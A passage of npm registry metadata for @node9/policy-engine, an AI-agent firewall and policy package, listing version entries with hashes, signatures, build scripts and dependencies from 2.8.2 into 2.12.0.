uymitsw0bXAiB5/FYGnMPhhpfZ+A04FcA3sik5LYiuIv54NzL0ZPiCnw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.8.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e3dc601cfd9c55d265003a78da2c82b1593ff0d3","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.8.2_1788473861456_0.47189592111275225","host":"s3://npm-registry-packages-npm-production"}},"2.8.3":{"name":"@node9/policy-engine","version":"2.8.3","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.8.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"571f9e270d1608f3fdf7b3a6d1ccbcde12f54dd8","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.8.3.tgz","fileCount":7,"integrity":"sha512-MYecyPrxxAkitUd+g4QJ2UFoYd56XgqqjQRwm53IxUYnuY6pblVEB1xkW+NGUYMCNzvVsPFz7A7bi7dG553tYw==","signatures":[{"sig":"MEUCIHkqEE3PA60EIwYSRLs7qlpmb0RDRMjrFxMXPVTuYLrrAiEAxGUhwZuJcN4nqHzjTXugtJpYmqGL5vwwRogYhVxrU3o=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCVsa1p0bpCf3Av/+A9uXneUCzGJkkpTiyTW/Gs1hcWawIgR0S2LviHeYpss5pvEFGEsTAiJkmUp5hAJDYPbpHo/VU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.8.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0ddccf9864a1b8ba5de319b22c134b9ef57925d4","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.8.3_1788516836056_0.14419305777341962","host":"s3://npm-registry-packages-npm-production"}},"2.8.4":{"name":"@node9/policy-engine","version":"2.8.4","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.8.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"91ab381722d25fe7bcbbfa6c45aeae3e76f49c77","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.8.4.tgz","fileCount":7,"integrity":"sha512-vJ6uoCtcGg5v+bfKMqutIWeAMVENqyyKROAtulJcK4oXrKBsGBvP35D8FQDc2g5WnBT5yQ8asBvxW5I7z2Z/+A==","signatures":[{"sig":"MEUCIBdr6UrhcnFkw1bEM+y+qE5ian6YFEGD1oo8H+g2ZhsRAiEA7gOa7ihfwVmRTGIabpO2pLJZgU6a1korPhoqgVkBdLE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDJ0fydg7eVDOyupltnJ7RIS/aP7WRpiwXRCGMENwQ7xQIhAIzl2pkA7oOjJCSzrMyqr2B61IvVYs0pUmut6KoWKNNd","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.8.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"bfbd05474d42c7514842a0a4de61ab91500e8822","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.8.4_1788611627832_0.5855714621104215","host":"s3://npm-registry-packages-npm-production"}},"2.8.5":{"name":"@node9/policy-engine","version":"2.8.5","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.8.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"80e0d92ce2d7632c618ef744567d4d03b1ee8c34","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.8.5.tgz","fileCount":7,"integrity":"sha512-/VAtV44p5oybNEgc5EUIVwTbcn9+9cZaE18quf7mkzVgiFNGBkbtvqt6qv4JoSxPk/DX0VSbo0bg8r4bo9uZOw==","signatures":[{"sig":"MEUCIQDm47RhSnVL95spavqUB58tjpVQawJHxH0DIzGm+7TSNwIgYxSWvYxOu+fyFWlLtgSSSaPgPYwx0H9u7621N3YDNQM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCIXlNfQqc0vixLSzXQWD5Gtsm5aOJgEdLVY9TMKo03RgIgQUX09j2hDC5JciyovXzBxr+T7uoZgIwGq9sSyclUNro=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.8.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":414043},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f91bcd33d427de1a8ada78d8e778be9d4c1d6e8e","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.8.5_1788631895310_0.6694606292462226","host":"s3://npm-registry-packages-npm-production"}},"2.9.0":{"name":"@node9/policy-engine","version":"2.9.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.9.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"f9f2a04e585af3a70a3961a29dbd73c3bf680591","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.9.0.tgz","fileCount":7,"integrity":"sha512-ziHuM0HQqH078fKkJV0+khg0+4YLJuyBbDY2By7iax7MRxwwQtio8Kj+g2EEi2FNfxkrf0IXXh9iaVmLt17/PA==","signatures":[{"sig":"MEQCIHvfF0ShAOblf5jI7V23qd0FOIS6KLoVcWIRs6cYxvHdAiBd7vX6815XIG+7Psym7SttX92+YHos2xS4g1HstgdEBg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIHFgVQxTZlPNDl9g7ubAGpGbnj5TNNDVe4PiHcgjQblfAiEAgcz6rtvi/YY8ir681fNCyjqey5eI6d0RZqqeFBbnEs4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.9.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":469379},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"971501daf1c02dc5622cf1441927362a102be7df","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.9.0_1788853456605_0.9734771629479579","host":"s3://npm-registry-packages-npm-production"}},"2.9.1":{"name":"@node9/policy-engine","version":"2.9.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.9.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"6a35eb4ead4972fe04ed68a9d25b4bbb1a79cbb0","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.9.1.tgz","fileCount":7,"integrity":"sha512-MgojzCGtP1VizWh5Xwllx6Z2DWGimiCmL0MLzt3X+YTqDm6AbD3tAMotFmT3oRnSbgW2sJikkVp0kWtSx6avyQ==","signatures":[{"sig":"MEUCIQC7GBdHpVLnM/5m+hMeZ/m0bejYIAeh1n4/3k3D84b+yQIgaV/680YDlaERxngsZIkfVmWthOREe8Eay5AclMwzyI8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIFsF9NAlsYl44Z5XLcC1e0HZ2Y6VwMlmYVOAwhNJfkuCAiEAvcH06aIq/ZeEQT7Nrx+IACmC1D4O1LW26E1G8ogGuLw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.9.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":469379},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"283c13dc1d76b61ac4c3f33d6ea53362d261e1ad","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.9.1_1788857768186_0.8440634858157301","host":"s3://npm-registry-packages-npm-production"}},"2.9.2":{"name":"@node9/policy-engine","version":"2.9.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.9.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"209a3f4590304600da3d018a33d7db8272278570","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.9.2.tgz","fileCount":7,"integrity":"sha512-Z/3kTM7rwQw++l1cBbkBZib2eB4g+x9StMrwCvZ7oRszg0Hdu7fi1jAnOZCfn6DVJeErTr1kt497qh+fLTyvNg==","signatures":[{"sig":"MEUCIDVtMhZBEPv7cvsi2PJZMROnqtPrFzTkE9ckJz+3/xfMAiEAtOQIzD1t7+1HxQWJIlHnpEm4ogwsgRDYwu8SdrrCy78=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDkixp2ZGEMnLa8hIJbCl5J+fFaZnxf/P6duhOcZNt7PwIhAOSYEI0JlU7CKPtG2dRWV1LR9kx0Oa7GNDwmTQghgChF","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.9.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":469379},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"01227a33a1f0c690c2610181954b6ae204b6f61c","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.9.2_1788868442158_0.03885699696363676","host":"s3://npm-registry-packages-npm-production"}},"2.9.3":{"name":"@node9/policy-engine","version":"2.9.3","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.9.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"99d17f0d6390bd62e6078c5251639bc99e52d0a0","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.9.3.tgz","fileCount":7,"integrity":"sha512-rKHi5r/CWasRnPDjVemK7dep4eUjytOduECX4I/VfcISv6+Z7YNsvpXNjQVOQcYeWuRpQASNGp0VxyP+g0trlQ==","signatures":[{"sig":"MEUCIE1eA30HcBMmt3Y+KDoqT73tbZfRSqmTotvBlSuTY60NAiEAmwGEBMIZAxfi+/79+4reFVbN9PREe4OJ9NxWHI9NBos=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQC7jDvLbuV9Ikb3Zp7WAV7BEfOZ6sBRpa7wvjz0/B45OgIgSizuDN4Hd43jkOZCJsCpISXew8YqCQ50zJo5bFBN1YQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.9.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":470211},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"ca3539b8941bad843ff12fe5c4a12124702816b0","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.9.3_1788872395983_0.7954538901254058","host":"s3://npm-registry-packages-npm-production"}},"2.10.0":{"name":"@node9/policy-engine","version":"2.10.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.10.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"bdd65002321753a348cdb5768a5128148a00202f","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.10.0.tgz","fileCount":7,"integrity":"sha512-1OeiAosAiBG+NPjX+k5pVi+ZjhLu1db5IxyBeiGcoeq61Mo71rpO7VIeVjZyWabVnIEdWFxjd2wzQ6f7rw1oZw==","signatures":[{"sig":"MEYCIQD2YBRNZqs2yMOW3ungNuP1/QA0dO4k5VlY2Z62EpAFewIhAO9cZuV1a8vG2cvY2OtiFH6JvLt5zFlkF84PHYvnWQ8M","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIFLKvntYaQXS40aRrKwTa2xg5z6rg5u6sSVMo8ArIKu3AiEA/M3YF2+qC8Zms2SrX4pzGKjaTMYl6IXw2B1zzaPZR5Y=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.10.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":479242},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7d7aeeb8d29247c03735c1e8342c72e92abbfd08","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.10.0_1788886799370_0.17931741677543922","host":"s3://npm-registry-packages-npm-production"}},"2.11.0":{"name":"@node9/policy-engine","version":"2.11.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.11.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"bccc0fdd721205ae7ab6a4a803f2af6659ee00ce","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.11.0.tgz","fileCount":7,"integrity":"sha512-gvxvDuhS9/RyEYFCv1RHHJUo7af3B5ETNhzE3yWUcld9cmP3j2IXpvgQ4/+7vv60HRoN/XxitjQhn2e8LiXLEQ==","signatures":[{"sig":"MEYCIQCU2Ay06f/PMimFfMzRBx6MgirUCr4cYcXZ5gW4Az4cKAIhALz3Gs5VRSlfZ/pMIFEq2Yf6dBM1B3AT6r3greO5+zlw","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDLse83/JRSbCRDtNIv+UUYYb9taiRZ2xZmTlkCY7CtEwIgA2soCN80l7S9RtOKV9aSIwXp8sQ79CrotYXc0ra4vkw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.11.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":479242},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"028ba6ed35cf7173433884bca6b1430bea98b771","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.11.0_1788888701570_0.17655599833038949","host":"s3://npm-registry-packages-npm-production"}},"2.12.0":{"name":"@node9/policy-engine","version":"2.12.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.12.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"e3bcc0bf56c6480b73a8bc72c48baa62af9b924d","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.12.0.tgz","fileCount":7,"integrity":"sha512-WyV4W5ikCMBgLwaUpPAErRUekXtTdVUYtqBNFwsynIMS7+Xi2TcxXyU1DAlO8w8tJjscipoxSFucV9YT4UTEjg==","signatures":[{"sig":"MEUCIFc2mQ7wOQ3SgxxKMdiuFaPHd7y8wUZknWZInMxXXn0EAiEA6272VqSDSuvabLnSofWOy87Zzrm1kNu1PzvDiiM8d+4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIC9YRQubTjJYhIrigzAmUlHiIkov0tHeaoM5hHZS+aL7AiEAj3UaX7auxkHqJAZYuuRsR83doA0zqybPeejyMF7kSus=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.12.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":479242},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"5fdbcac1353cc5bfb24263662a07f2ea15c73335","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS 